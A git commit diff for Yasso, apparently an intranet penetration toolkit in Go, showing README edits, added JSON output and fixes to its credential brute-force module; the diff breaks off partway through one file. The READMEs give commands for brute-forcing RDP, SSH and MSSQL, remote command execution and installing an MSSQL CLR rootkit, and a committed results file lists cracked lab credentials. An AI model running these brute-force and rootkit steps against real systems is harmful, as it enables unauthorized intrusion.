修复爆破是调用爆破call的bug，并完善空密码和空用户名抛出的panic

Update README.md
2026-11-04 06:37:35 +08:00 · 2022-01-28 21:44:26 +08:00 · 2022-01-28 14:53:12 +08:00 · 2022-01-26 18:28:55 +08:00 · 2022-01-26 18:24:52 +08:00 · 2022-01-15 21:40:09 +08:00
20 changed files with 367 additions and 94 deletions
--- a/README.md
+++ b/README.md
@@ -1,12 +1,18 @@
 <h1>👾 Yasso - 亚索 👾</h1>

+建议git下来自己编译，编译命令
+```
+go build -x -v -ldflags "-s -w"
+```
+
 ![go](https://img.shields.io/badge/Go-1.16.4-blue)

 [English Introduce](README_EN.md)

-
 ## 介绍 😈
-Yasso 将作为一款内网辅助渗透工具集发布，它集合了许多实用功能，来帮助`Red team`成员在内网极端环境下的工具使用以及`Blue team`成员的内网自检,并且程序加入了代理功能以及`ants`的扫描并发，在实现功能的同时追求准确和速度
+
+Yasso 将作为一款内网辅助渗透工具集发布，它集合了许多实用功能，来帮助`Red team`成员在内网极端环境下的工具使用以及`Blue team`成员的内网自检,并且程序加入了代理功能以及`ants`
+的扫描并发，在实现功能的同时追求准确和速度

 [![asciicast](https://asciinema.org/a/fBxRVxLJ30eVo0dOz2e9mlAZL.svg)](https://asciinema.org/a/fBxRVxLJ30eVo0dOz2e9mlAZL)

@@ -18,12 +24,16 @@ Yasso [模块] [参数1] [参数2] [参数...]

 模块里面的 `Flag` 代表当前命令的参数，`Global Flags` 代表全局参数（所有命令都可以用）

-## 程序功能模块 👻 
+## 程序功能模块 👻

 2022年1月7日更新 -H 参数均支持ip.txt的导入，如下

 ![image](https://user-images.githubusercontent.com/74412075/148518267-4f72e048-6aee-4ba6-b67d-a447468f2807.png)

+2022年1月26日更新 crack 模块中 --ud --pass参数指定，由原本的字典变为字典和用户名指定模式（--ud "administrator,Oadmin" --pd "123456,11223"） 
+
+![image](https://user-images.githubusercontent.com/74412075/151147036-3aa34477-327b-44ef-a633-0504d40b855a.png)
+

 目前已有用功能模块 :

@@ -57,8 +67,8 @@ Flags:
  -i, --icmp         Icmp packets are sent to check whether the host is alive(need root)
 ```

-
 <b>crack模块: 强大的爆破模块和利用工具集 - 子工具集</b>
+
 ```
 Available Commands:
  ftp         ftp burst module (support proxy)
@@ -84,6 +94,7 @@ Flags:
      --timeout duration   crack module timeout(.eg) 1s (ns,ms,s,m,h) (default 1s)
      --ud string          user dic path (.eg) user.txt
 ```
+
 程序主要分为多个子命令功能，每个功能都详细标注了用法，这里详细介绍子功能
 <details>
 <summary>ftp ftp服务爆破模块 - 支持socks5代理</summary>
@@ -102,6 +113,7 @@ Global Flags:
      --timeout duration   crack module timeout(.eg) 1s (ns,ms,s,m,h) (default 1s)
      --ud string          user dic path (.eg) user.txt
 ```
+
 </details>

 <details>
@@ -122,6 +134,7 @@ Global Flags:
      --timeout duration   crack module timeout(.eg) 1s (ns,ms,s,m,h) (default 1s)
      --ud string          user dic path (.eg) user.txt
 ```
+
 </details>

 <details>
@@ -142,6 +155,7 @@ Global Flags:
      --timeout duration   crack module timeout(.eg) 1s (ns,ms,s,m,h) (default 1s)
      --ud string          user dic path (.eg) user.txt
 ```
+
 </details>

 <details>
@@ -161,6 +175,7 @@ Global Flags:
      --timeout duration   crack module timeout(.eg) 1s (ns,ms,s,m,h) (default 1s)
      --ud string          user dic path (.eg) user.txt
 ```
+
 </details>

 <details>
@@ -191,6 +206,7 @@ Global Flags:
      --timeout duration   crack module timeout(.eg) 1s (ns,ms,s,m,h) (default 1s)
      --ud string          user dic path (.eg) user.txt
 ```
+
 </details>

 <details>
@@ -215,6 +231,7 @@ Global Flags:
      --timeout duration   crack module timeout(.eg) 1s (ns,ms,s,m,h) (default 1s)
      --ud string          user dic path (.eg) user.txt
 ```
+
 </details>

 <details>
@@ -234,6 +251,7 @@ Global Flags:
      --timeout duration   crack module timeout(.eg) 1s (ns,ms,s,m,h) (default 1s)
      --ud string          user dic path (.eg) user.txt
 ```
+
 </details>

 <details>
@@ -257,6 +275,7 @@ Global Flags:
      --timeout duration   crack module timeout(.eg) 1s (ns,ms,s,m,h) (default 1s)
      --ud string          user dic path (.eg) user.txt
 ```
+
 </details>

 <details>
@@ -276,6 +295,7 @@ Global Flags:
      --timeout duration   crack module timeout(.eg) 1s (ns,ms,s,m,h) (default 1s)
      --ud string          user dic path (.eg) user.txt
 ```
+
 </details>

 <details>
@@ -299,6 +319,7 @@ Global Flags:
      --timeout duration   crack module timeout(.eg) 1s (ns,ms,s,m,h) (default 1s)
      --ud string          user dic path (.eg) user.txt
 ```
+
 </details>

 <details>
@@ -323,6 +344,7 @@ Global Flags:
      --timeout duration   crack module timeout(.eg) 1s (ns,ms,s,m,h) (default 1s)
      --ud string          user dic path (.eg) user.txt
 ```
+
 </details>


@@ -371,7 +393,6 @@ Flags:
  -t, --time duration   Set timeout (eg.) -t 50ms(ns,ms,s,m,h) (default 1s)
 ```

-
 <b>winscan模块: windows主机的netbios识别，oxid网卡发现，smb主机指纹 - 支持socks5代理</b>

 ```
@@ -392,14 +413,17 @@ Flags:
 ```

 ## 使用例子👿
+
 all 模块的扫描服务调用
+
 ```
 Yasso.exe all -H 192.168.248.1/24
 ```
+
 ![image](https://user-images.githubusercontent.com/74412075/148240369-14cc4c77-e4f8-4fd1-8faa-e716852d3ed8.png)

-
 mssql 的命令执行提权和WarSQLKit-clr提权Rookit安装卸载执行功能
+
 ```
 Yasso.exe crack mssql --user sa --pass "admin@123" -c whoami --hostname 192.168.248.128 
 Yasso.exe crack mssql --user sa --pass "admin@123" -c whoami --hostname 192.168.248.128 --method 2
@@ -408,30 +432,38 @@ Yasso.exe crack mssql --hostname 192.168.248.128 --user sa --pass "admin@123" --
 Yasso.exe crack mssql --hostname 192.168.248.128 --user sa --pass "admin@123" --cld "whoami"
 Yasso.exe crack mssql --user sa --pass "admin@123" -c whoami --hostname 192.168.248.128 --unkit 1
 ```
+
 ![image](https://user-images.githubusercontent.com/74412075/148234003-8e2ceb59-95c5-4fc3-ad65-501294ddce6b.png)

 winrm 的命令执行和交互shell
+
 ```
 Yasso.exe crack winrm --hostname 192.168.248.128 -c "ipconfig /all" --pass "930517" --user "administrator"
 ```
+
 ![image](https://user-images.githubusercontent.com/74412075/148234337-80fabcef-a333-402d-8e97-e694b89119c0.png)
+
 ```
 Yasso.exe crack winrm --hostname 192.168.248.128 --shell --pass "930517" --user "administrator"
 ```
+
 ![image](https://user-images.githubusercontent.com/74412075/148234486-037aaf56-fe11-40a0-9781-82b537ef9a37.png)

 grdp的强大爆破功能
+
 ```
 Yasso.exe crack grdp --domain "kilon.local" --pd .\pass.txt --ud .\user.txt -H 192.168.248.128/24 --crack
 ```
+
 ![image](https://user-images.githubusercontent.com/74412075/148234733-fbdc34e7-c73e-49f7-8942-3a1863915213.png)

 ssh的交互式登陆
+
 ```
 Yasso.exe crack ssh --hostname 192.168.248.219 --user root --pass kali
 ```
-![image](https://user-images.githubusercontent.com/74412075/148235003-a72116d3-df9b-4b4e-9523-21d5f8b30e1b.png)

+![image](https://user-images.githubusercontent.com/74412075/148235003-a72116d3-df9b-4b4e-9523-21d5f8b30e1b.png)

 ## 工具优势🤡

@@ -449,9 +481,11 @@ Yasso.exe crack ssh --hostname 192.168.248.219 --user root --pass kali

 如您在使用本工具的过程中存在任何非法行为，您需自行承担相应后果，我们将不承担任何法律及连带责任。

-在安装并使用本工具前，请您**务必审慎阅读、充分理解各条款内容**，限制、免责条款或者其他涉及您重大权益的条款可能会以加粗、加下划线等形式提示您重点注意。 除非您已充分阅读、完全理解并接受本协议所有条款，否则，请您不要安装并使用本工具。您的使用行为或者您以其他任何明示或者默示方式表示接受本协议的，即视为您已阅读并同意本协议的约束。
+在安装并使用本工具前，请您**务必审慎阅读、充分理解各条款内容**，限制、免责条款或者其他涉及您重大权益的条款可能会以加粗、加下划线等形式提示您重点注意。
+除非您已充分阅读、完全理解并接受本协议所有条款，否则，请您不要安装并使用本工具。您的使用行为或者您以其他任何明示或者默示方式表示接受本协议的，即视为您已阅读并同意本协议的约束。

 ## 工具编写参考链接👀
+
 ```
 https://github.com/shadow1ng/fscan 
 https://github.com/k8gege/LadonGo
--- a/README_EN.md
+++ b/README_EN.md
@@ -6,7 +6,10 @@

 ## Introduce😈

-Yasso will be released as an Intranet assisted penetration tool set, which brings together a number of utility features to help Red Team members use tools in extreme Intranet environments, as well as Intranet self-check for Blue Team members. It also adds proxy functionality and scan concurrency for ants. In the realization of functions at the same time the pursuit of accuracy and speed.
+Yasso will be released as an Intranet assisted penetration tool set, which brings together a number of utility features
+to help Red Team members use tools in extreme Intranet environments, as well as Intranet self-check for Blue Team
+members. It also adds proxy functionality and scan concurrency for ants. In the realization of functions at the same
+time the pursuit of accuracy and speed.

 [![asciicast](https://asciinema.org/a/fBxRVxLJ30eVo0dOz2e9mlAZL.svg)](https://asciinema.org/a/fBxRVxLJ30eVo0dOz2e9mlAZL)

@@ -16,7 +19,8 @@ The format is
 Yasso [模块] [参数1] [参数2] [参数...]
 ```

-In the module, 'Flag' represents the parameters of the current command, and 'Global Flags' represents the Global parameters (all commands can be used).
+In the module, 'Flag' represents the parameters of the current command, and 'Global Flags' represents the Global
+parameters (all commands can be used).

 ## Program function module 👻

@@ -26,7 +30,8 @@ In the module, 'Flag' represents the parameters of the current command, and 'Glo

 Currently available functional modules:

-<b>ALL module: full scan mode of calling all modules, faster and more powerful, perfect combination of ants and concurrency</b>
+<b>ALL module: full scan mode of calling all modules, faster and more powerful, perfect combination of ants and
+concurrency</b>

 ```
 Usage:
@@ -41,8 +46,8 @@ Flags:
      --runtime int     Set scanner ants pool thread (default 100)
      --time duration   Set timeout  (default 1s)
 ```
-<b>Ping module: ordinary user can call system ping, root can choose to use ICMP packet</b>

+<b>Ping module: ordinary user can call system ping, root can choose to use ICMP packet</b>

 ```
 Use ping or icmp to scanner alive host
@@ -56,6 +61,7 @@ Flags:
 -H, --host hosts Set hosts(The format is similar to Nmap)
 -i, --icmp Icmp packets are sent to check whether the host is alive(need root)
 ```
+
 <b>Crack module: Powerful blasting module and utilizing toolset - sub-toolset</b>

 ```
@@ -84,7 +90,8 @@ Flags:
      --ud string          user dic path (.eg) user.txt
 ```

-The program is mainly divided into a number of sub-command functions, each function is annotated in detail, here is a detailed introduction of sub-functions
+The program is mainly divided into a number of sub-command functions, each function is annotated in detail, here is a
+detailed introduction of sub-functions

 <details>
 <summary>ftp FTP service blowing module - support SOcks5 proxy</summary>
@@ -103,6 +110,7 @@ Global Flags:
      --timeout duration   crack module timeout(.eg) 1s (ns,ms,s,m,h) (default 1s)
      --ud string          user dic path (.eg) user.txt
 ```
+
 </details>

 <details>
@@ -123,6 +131,7 @@ Global Flags:
      --timeout duration   crack module timeout(.eg) 1s (ns,ms,s,m,h) (default 1s)
      --ud string          user dic path (.eg) user.txt
 ```
+
 </details>

 <details>
@@ -143,6 +152,7 @@ Global Flags:
      --timeout duration   crack module timeout(.eg) 1s (ns,ms,s,m,h) (default 1s)
      --ud string          user dic path (.eg) user.txt
 ```
+
 </details>

 <details>
@@ -162,6 +172,7 @@ Global Flags:
      --timeout duration   crack module timeout(.eg) 1s (ns,ms,s,m,h) (default 1s)
      --ud string          user dic path (.eg) user.txt
 ```
+
 </details>

 <details>
@@ -192,6 +203,7 @@ Global Flags:
      --timeout duration   crack module timeout(.eg) 1s (ns,ms,s,m,h) (default 1s)
      --ud string          user dic path (.eg) user.txt
 ```
+
 </details>

 <details>
@@ -216,6 +228,7 @@ Global Flags:
      --timeout duration   crack module timeout(.eg) 1s (ns,ms,s,m,h) (default 1s)
      --ud string          user dic path (.eg) user.txt
 ```
+
 </details>

 <details>
@@ -235,6 +248,7 @@ Global Flags:
      --timeout duration   crack module timeout(.eg) 1s (ns,ms,s,m,h) (default 1s)
      --ud string          user dic path (.eg) user.txt
 ```
+
 </details>


@@ -259,6 +273,7 @@ Global Flags:
      --timeout duration   crack module timeout(.eg) 1s (ns,ms,s,m,h) (default 1s)
      --ud string          user dic path (.eg) user.txt
 ```
+
 </details>

 <details>
@@ -278,6 +293,7 @@ Global Flags:
      --timeout duration   crack module timeout(.eg) 1s (ns,ms,s,m,h) (default 1s)
      --ud string          user dic path (.eg) user.txt
 ```
+
 </details>


@@ -303,6 +319,7 @@ Global Flags:
      --timeout duration   crack module timeout(.eg) 1s (ns,ms,s,m,h) (default 1s)
      --ud string          user dic path (.eg) user.txt
 ```
+
 </details>


@@ -329,6 +346,7 @@ Global Flags:
      --timeout duration   crack module timeout(.eg) 1s (ns,ms,s,m,h) (default 1s)
      --ud string          user dic path (.eg) user.txt
 ```
+
 </details>


@@ -379,7 +397,8 @@ Flags:
  -t, --time duration   Set timeout (eg.) -t 50ms(ns,ms,s,m,h) (default 1s)
 ```

-<b>winscan module: Windows host netBIOS recognition, OXID network card discovery, SMB host fingerprint - support SOcks5 proxy</b>
+<b>winscan module: Windows host netBIOS recognition, OXID network card discovery, SMB host fingerprint - support SOcks5
+proxy</b>

 ```
 netbios、smb、oxid scan
@@ -401,13 +420,15 @@ Flags:
 ## Example👿

 Scan service invocation for the ALL module
+
 ```
 Yasso. Exe all - 192.168.248.1/24 H
 ```
+
 ![image](https://user-images.githubusercontent.com/74412075/148240369-14cc4c77-e4f8-4fd1-8faa-e716852d3ed8.png)

-
 MSSQL commands perform powerlifting and WarSQLKit -CLR Rookit install and uninstall the powerlifting function
+
 ```
 Yasso.exe crack MSSQL --user sa --pass "admin@123" -c whoami --hostname 192.168.248.128
 Yasso.exe crack MSSQL --user sa --pass "admin@123" -c whoami --hostname 192.168.248.128 --method 2
@@ -416,29 +437,37 @@ Yasso.exe crack MSSQL --hostname 192.168.248.128 --user sa --pass "admin@123" --
 Yasso.exe crack MSSQL --hostname 192.168.248.128 --user sa --pass "admin@123" -- CLD "whoami"
 Yasso.exe crack MSSQL --user sa --pass "admin@123" -c whoami --hostname 192.168.248.128 --unkit 1
 ```
+
 ![image](https://user-images.githubusercontent.com/74412075/148234003-8e2ceb59-95c5-4fc3-ad65-501294ddce6b.png)

 Winrm command execution and interactive shell
+
 ```
 Yasso.exe crack winrm --hostname 192.168.248.128 -c "ipconfig /all" --pass "930517" --user "administrator"
 ```
+
 ![image](https://user-images.githubusercontent.com/74412075/148234337-80fabcef-a333-402d-8e97-e694b89119c0.png)
+
 ```
 Yasso. Exe crack winrm --hostname 192.168.248.128 --shell --pass "930517" --user "administrator"
 ```
+
 ![image](https://user-images.githubusercontent.com/74412075/148234486-037aaf56-fe11-40a0-9781-82b537ef9a37.png)

 grdp's powerful blasting function
+
 ```
 Yasso. Exe crack GRDP --domain "kilon.local" -- pd.\ pass. TXT -- ud.\ user. TXT -h 192.168.248.129/24 --crack
 ```
+
 ![image](https://user-images.githubusercontent.com/74412075/148234733-fbdc34e7-c73e-49f7-8942-3a1863915213.png)
 ssh interactive login
+
 ```
 Yasso.exe crack SSH --hostname 192.168.248.219 --user root --pass kali
 ```
-![image](https://user-images.githubusercontent.com/74412075/148235003-a72116d3-df9b-4b4e-9523-21d5f8b30e1b.png)

+![image](https://user-images.githubusercontent.com/74412075/148235003-a72116d3-df9b-4b4e-9523-21d5f8b30e1b.png)

 ## Tool advantages 🤡

@@ -446,7 +475,8 @@ Yasso.exe crack SSH --hostname 192.168.248.219 --user root --pass kali

 - A large collection of commonly used features, making Yasso not like a regular scanner, but rather a toolset

- Powerful SQL penetration assist functions, providing common Redis, mysql, MSSQL databases such as one key weight and database operations
+- Powerful SQL penetration assist functions, providing common Redis, mysql, MSSQL databases such as one key weight and
+  database operations

 - Powerful concurrent blasting, allowing larger dictionaries to gain faster speed

@@ -454,13 +484,21 @@ Yasso.exe crack SSH --hostname 192.168.248.219 --user root --pass kali

 ## Disclaimer 🧐

-This tool is only applicable to enterprise security construction activities legally authorized by. If you need to test the usability of this tool, please build a target machine environment by yourself.
+This tool is only applicable to enterprise security construction activities legally authorized by. If you need to test
+the usability of this tool, please build a target machine environment by yourself.

-When using this tool for testing, ensure that you comply with local laws and regulations and that you have obtained sufficient authorization. <b>It is important not to scan unauthorized targets</b>
-If you have any illegal behavior during the use of the tool, you shall bear the corresponding consequences by yourself, and we will not assume any legal and joint liability.
-Before installing and using this tool, please <b>carefully read and fully understand the contents of each clause </b>. Restrictions, disclaimers or other clauses related to your significant rights and interests may be highlighted in bold or underlined forms. Do not install and use this tool unless you have fully read, fully understand and accept all terms of this agreement. Your use of this Agreement or your acceptance of this Agreement in any other way, express or implied, shall be deemed that you have read and agreed to be bound by this Agreement.
+When using this tool for testing, ensure that you comply with local laws and regulations and that you have obtained
+sufficient authorization. <b>It is important not to scan unauthorized targets</b>
+If you have any illegal behavior during the use of the tool, you shall bear the corresponding consequences by yourself,
+and we will not assume any legal and joint liability. Before installing and using this tool, please <b>carefully read
+and fully understand the contents of each clause </b>. Restrictions, disclaimers or other clauses related to your
+significant rights and interests may be highlighted in bold or underlined forms. Do not install and use this tool unless
+you have fully read, fully understand and accept all terms of this agreement. Your use of this Agreement or your
+acceptance of this Agreement in any other way, express or implied, shall be deemed that you have read and agreed to be
+bound by this Agreement.

 ## Tool writing reference link 👀
+
 ```
 https://github.com/shadow1ng/fscan
 https://github.com/k8gege/LadonGo
--- a/Yasso.json
+++ b/Yasso.json
@@ -0,0 +1 @@
+[{"HostName":"192.168.248.1","Ports":[8089,135,80,5985,139,445,3306],"WeakPass":[{"smb":{"administrator":"930517"}},{"mysql":{"root":"root"}}],"Web":["200 http://192.168.248.1 [Nginx]  Index of /","200 http://192.168.248.1:8089  None"]},{"HostName":"192.168.248.212","Ports":[445,80,135,139,3389,5985],"WeakPass":[{"smb":{"administrator":"P@ssw0rd"}}],"Web":["200 http://192.168.248.212 [IIS]  IIS Windows Server"]},{"HostName":"192.168.248.219","Ports":[22,27017,21,5432,6379,11211],"WeakPass":[{"ssh":{"root":"kali"}},{"mongodb":{"null":"null"}},{"mongodb":{"admin":"123456"}},{"ftp":{"kali":"kali"}},{"postgres":{"admin":"admin@123"}},{"redis":{"null":"null"}},{"Memcached":{"null":"null"}}],"Web":null}]
--- a/cmd/all.go
+++ b/cmd/all.go
@@ -10,14 +10,13 @@ import (

 var allCmd = &cobra.Command{
 	Use:   "all",
-	Short: "Use all scanner module (.attention)\nSome service not support proxy,You might lose it [*]",
+	Short: "Use all scanner module (.attention) Some service not support proxy,You might lose it [*]",
 	Run: func(cmd *cobra.Command, args []string) {
 		if Hosts == "" {
 			_ = cmd.Help()
 			return
 		}
-
-		allRun(Hosts, Ports, LogBool, Runtime, PingBool)
+		allRun(Hosts, Ports, JsonBool, Runtime, PingBool)
 		return
 	},
 }
@@ -29,11 +28,12 @@ func init() {
 	allCmd.Flags().BoolVar(&RunICMP, "icmp", false, "Use icmp to scanner alive host")
 	allCmd.Flags().IntVar(&Runtime, "runtime", 100, "Set scanner ants pool thread")
 	allCmd.Flags().StringVar(&ProxyHost, "proxy", "", "Set socks5 proxy")
+	allCmd.Flags().BoolVar(&JsonBool, "json", false, "Output json file")
 	allCmd.Flags().DurationVar(&TimeDuration, "time", 1*time.Second, "Set timeout ")
 	rootCmd.AddCommand(allCmd)
 }

-func allRun(hostString string, portString string, log bool, runtime int, noping bool) {
+func allRun(hostString string, portString string, jsonbool bool, runtime int, noping bool) {
 	defer func() {
 		fmt.Println("[Yasso] scan task is completed")
 	}()
@@ -43,6 +43,7 @@ func allRun(hostString string, portString string, log bool, runtime int, noping
 		webports []int
 		alive    []string
 		wg       sync.WaitGroup
+		lock     sync.Mutex
 	)
 	if hostString != "" {
 		ips, _ = ResolveIPS(hostString) // 解析ip并获取ip列表
@@ -65,6 +66,8 @@ func allRun(hostString string, portString string, log bool, runtime int, noping
 	}
 	fmt.Println("[Yasoo get alive host] is", len(alive))
 	// 做漏洞扫描
+	var out []JsonOut
+
 	if len(alive) > 0 {
 		fmt.Println("----- [Yasso] Start do vuln scan -----")
 		VulScan(alive, false, true, false) // 做漏洞扫描
@@ -75,49 +78,76 @@ func allRun(hostString string, portString string, log bool, runtime int, noping
 		if len(PortResults) != 0 {
 			fmt.Println("----- [Yasso] Start do crack service -----")
 			for _, v := range PortResults {
+				var one JsonOut
+				// 对json各式数据复制
 				wg.Add(1)
-				go func(v PortResult) {
+				go func(v PortResult, one JsonOut) {
 					defer wg.Done()
+					one.Host = v.IP
+					one.Ports = v.Port
 					for _, p := range v.Port {
+						lock.Lock()
 						switch p {
 						case 21:
 							users, pass := ReadTextToDic("ftp", UserDic, PassDic)
-							burpTask(v.IP, "ftp", users, pass, p, 100, 1*time.Second, "", false)
+							// add ftp "" pass
+							flag, _ := FtpConn(config.HostIn{Host: v.IP, Port: p, TimeOut: TimeDuration}, "anonymous", "")
+							if flag == true {
+								if flag == true && jsonbool == true {
+									one.WeakPass = append(one.WeakPass, map[string]map[string]string{"ftp": {"anonymous": "null"}})
+								}
+								continue
+							}
+							burpTask(v.IP, "ftp", users, pass, p, runtime, TimeDuration, "", false, jsonbool, &one)
 						case 22:
 							users, pass := ReadTextToDic("ssh", UserDic, PassDic)
-							burpTask(v.IP, "ssh", users, pass, p, 100, 1*time.Second, "", false)
+							burpTask(v.IP, "ssh", users, pass, p, runtime, TimeDuration, "", false, jsonbool, &one)
 						case 3306:
 							users, pass := ReadTextToDic("mysql", UserDic, PassDic)
-							burpTask(v.IP, "mysql", users, pass, p, 100, 1*time.Second, "", false)
+							burpTask(v.IP, "mysql", users, pass, p, runtime, TimeDuration, "", false, jsonbool, &one)
 						case 6379:
-							_, _, _ = RedisUnAuthConn(config.HostIn{Host: v.IP, Port: p, TimeOut: 1 * time.Second}, "test", "test")
+							_, b, _ := RedisUnAuthConn(config.HostIn{Host: v.IP, Port: p, TimeOut: TimeDuration}, "test", "test")
+							if b == true && jsonbool == true {
+								one.WeakPass = append(one.WeakPass, map[string]map[string]string{"redis": {"null": "null"}})
+							}
 							users, pass := ReadTextToDic("redis", UserDic, PassDic)
-							burpTask(v.IP, "redis", users, pass, p, 100, 5*time.Second, "", false)
+							burpTask(v.IP, "redis", users, pass, p, runtime, 5*time.Second, "", false, jsonbool, &one)
 						case 1433:
 							users, pass := ReadTextToDic("mssql", UserDic, PassDic)
-							burpTask(v.IP, "mssql", users, pass, p, 100, 1*time.Second, "", false)
+							burpTask(v.IP, "mssql", users, pass, p, runtime, TimeDuration, "", false, jsonbool, &one)
 						case 5432:
 							users, pass := ReadTextToDic("postgres", UserDic, PassDic)
-							burpTask(v.IP, "postgres", users, pass, p, 100, 1*time.Second, "", false)
+							burpTask(v.IP, "postgres", users, pass, p, runtime, TimeDuration, "", false, jsonbool, &one)
 						case 27017:
-							_, _ = MongoUnAuth(config.HostIn{Host: v.IP, Port: p, TimeOut: 1 * time.Second}, "test", "test")
+							b, _ := MongoUnAuth(config.HostIn{Host: v.IP, Port: p, TimeOut: TimeDuration}, "test", "test")
+							if b == true && jsonbool == true {
+								one.WeakPass = append(one.WeakPass, map[string]map[string]string{"mongodb": {"null": "null"}})
+							}
 							users, pass := ReadTextToDic("mongodb", UserDic, PassDic)
-							burpTask(v.IP, "mongodb", users, pass, p, 100, 1*time.Second, "", false)
+							burpTask(v.IP, "mongodb", users, pass, p, runtime, TimeDuration, "", false, jsonbool, &one)
 						case 445:
 							users, pass := ReadTextToDic("smb", UserDic, PassDic)
-							burpTask(v.IP, "smb", users, pass, p, 100, 1*time.Second, "", false)
+							burpTask(v.IP, "smb", users, pass, p, runtime, TimeDuration, "", false, jsonbool, &one)
 						case 5985:
 							users, pass := ReadTextToDic("rdp", UserDic, PassDic) // winrm与本地rdp认证相同
-							burpTask(v.IP, "winrm", users, pass, p, 100, 1*time.Second, "", false)
+							burpTask(v.IP, "winrm", users, pass, p, runtime, TimeDuration, "", false, jsonbool, &one)
 						case 11211:
 							//memcached 未授权
-							_, _ = MemcacheConn(config.HostIn{Host: v.IP, Port: p, TimeOut: 1 * time.Second})
+							b, _ := MemcacheConn(config.HostIn{Host: v.IP, Port: p, TimeOut: TimeDuration})
+							if b == true && jsonbool == true {
+								one.WeakPass = append(one.WeakPass, map[string]map[string]string{"Memcached": {"null": "null"}})
+							}
 						case 2181:
 							//zookeeper 未授权
-							_, _ = ZookeeperConn(config.HostIn{Host: v.IP, Port: p, TimeOut: 1 * time.Second})
+							b, _ := ZookeeperConn(config.HostIn{Host: v.IP, Port: p, TimeOut: TimeDuration})
+							if b == true && jsonbool == true {
+								one.WeakPass = append(one.WeakPass, map[string]map[string]string{"zookeeper": {"null": "null"}})
+							}
 						}
+						lock.Unlock()
 					}
-				}(v)
+					out = append(out, one)
+				}(v, one)
 			}
 			wg.Wait()
 		}
@@ -125,6 +155,9 @@ func allRun(hostString string, portString string, log bool, runtime int, noping
 		fmt.Println("----- [Yasso] Start do Windows service scan -----")
 		winscan(alive, true)
 		fmt.Println("----- [Yasso] Start do web service scan -----")
-		DisMapScan(alive, webports)
+		out = DisMapScanJson(&out, webports)
+	}
+	if jsonbool == true {
+		Out("Yasso.json", out)
 	}
 }
--- a/cmd/brute.go
+++ b/cmd/brute.go
@@ -85,6 +85,7 @@ func BurpCall(EncryptMap map[string]interface{}, name string, params ...interfac
 		args[k] = reflect.ValueOf(param)
 	}
 	//Println()(args)
+	//fmt.Println(args)
 	return f.Call(args) // 调用函数并返回结果
 }

@@ -102,7 +103,7 @@ func SwitchBurp(service string, users []string, pass []string, hosts []string, p
 		wg.Add(1)
 		_ = ants.Submit(func() {
 			ip := <-tunnel
-			burpTask(ip, service, users, pass, port, thread, timeout, Domain, true)
+			burpTask(ip, service, users, pass, port, thread, timeout, Domain, true, false, nil)
 			wg.Done()
 		})
 	}
@@ -116,7 +117,7 @@ func SwitchBurp(service string, users []string, pass []string, hosts []string, p
 * 从新计算爆破方式，之前的爆破是采用分割user进行的，但是发现，user数量会远少于password，所以按照password进行分割
 */

-func burpTask(host, service string, users []string, pass []string, port int, thread int, timeout time.Duration, Domain string, run bool) {
+func burpTask(host, service string, users []string, pass []string, port int, thread int, timeout time.Duration, Domain string, run bool, jsonbool bool, out *JsonOut) {
 	var t int
 	var wg sync.WaitGroup
 	if len(pass) <= thread {
@@ -153,7 +154,6 @@ func burpTask(host, service string, users []string, pass []string, port int, thr
 	if service == "mongodb" && run == true {
 		BurpCall(BurpModule, "unmongodb", config.HostIn{Host: host, Port: BrutePort, TimeOut: TimeDuration}, "test", "test")
 	}
-
 	//Println()(all,num,t)
 	for i := 1; i <= t; i++ {
 		wg.Add(1)
@@ -164,8 +164,12 @@ func burpTask(host, service string, users []string, pass []string, port int, thr
 					if strings.Contains(p, "{user}") {
 						p = strings.ReplaceAll(p, "{user}", p)
 					}
-					result := BurpCall(BurpModule, service, config.HostIn{Host: host, Port: port, TimeOut: time.Duration(timeout), Domain: Domain}, u, p)
-					burpStatus(result, service, host, Domain, u, p)
+					if u == "" || p == "" {
+						continue
+					} else {
+						result := BurpCall(BurpModule, service, config.HostIn{Host: host, Port: port, TimeOut: time.Duration(timeout), Domain: Domain}, u, p)
+						burpStatus(result, service, host, Domain, u, p, jsonbool, out)
+					}
 				}
 			}
 			wg.Done()
@@ -174,7 +178,8 @@ func burpTask(host, service string, users []string, pass []string, port int, thr
 	wg.Wait()
 }

-func burpStatus(result []reflect.Value, service, host, domain, user, pass string) {
+func burpStatus(result []reflect.Value, service, host, domain, user, pass string, jsonbool bool, out *JsonOut) {
+	var lock sync.Mutex
 	// 这里是判断类型并返回结果的函数
 	if len(result) > 0 {
 		for _, v := range result {
@@ -184,6 +189,12 @@ func burpStatus(result []reflect.Value, service, host, domain, user, pass string
 					if domain != "" {
 						domain = domain + "\\"
 					}
+					if jsonbool == true {
+						// 加锁
+						lock.Lock()
+						out.WeakPass = append(out.WeakPass, map[string]map[string]string{service: {user: pass}})
+						lock.Unlock()
+					}
 					Println(fmt.Sprintf(Clearln+`[+] %s brute %s success [%v%s:%s]`, host, service, domain, user, pass))
 				}
 			}
@@ -203,6 +214,11 @@ func Readiness(file *os.File) []string {
 			return readiness
 		}
 		str := strings.TrimSpace(string(data))
+		// 修复读取时出现空的导致抛出panic
+		if str == "" {
+			continue
+		}
+
 		readiness = append(readiness, str) /*将去除换行符的字符串写入切片*/
 	}
 	return readiness
@@ -213,7 +229,15 @@ func ReadTextToDic(service, user, pass string) ([]string, []string) {
 		userdic = config.Userdict[service]
 		passdic = config.Passwords
 	)
-	if user != "" {
+	// 入过不包含.txt的话，按照用户名和密码来算。其中
+	if user != "" && !strings.Contains(user, ".txt") {
+		userdic = strings.Split(user, ",")
+	}
+	if pass != "" && !strings.Contains(pass, ".txt") {
+		passdic = strings.Split(pass, ",")
+	}
+
+	if user != "" && strings.Contains(user, ".txt") {
 		userive, err := os.Open(user)
 		if err != nil {
 			Println(fmt.Sprintf(Clearln+"[ERROR] Open %s is failed,please check your user dic path", UserDic))
@@ -221,7 +245,7 @@ func ReadTextToDic(service, user, pass string) ([]string, []string) {
 		}
 		userdic = Readiness(userive)
 	}
-	if pass != "" {
+	if pass != "" && strings.Contains(pass, ".txt") {
 		passive, err := os.Open(pass)
 		if err != nil {
 			Println(fmt.Sprintf(Clearln+"[ERROR] Open %s is failed,please check your pass dic path", PassDic))
--- a/cmd/dismap.go
+++ b/cmd/dismap.go
@@ -22,6 +22,7 @@ func init() {
 	DisMapCmd.Flags().StringVar(&ProxyHost, "proxy", "", "Set socks5 proxy and use it ")
 }

+var lock sync.Mutex
 var DisMapCmd = &cobra.Command{
 	Use:   "webscan",
 	Short: "Use dismap module discover Web fingerprints (support proxy)",
@@ -60,12 +61,23 @@ func DisMapScan(host []string, ports []int) {
 	var wg sync.WaitGroup
 	for _, ip := range host {
 		wg.Add(1)
-		EachDisMap(ip, ports, &wg)
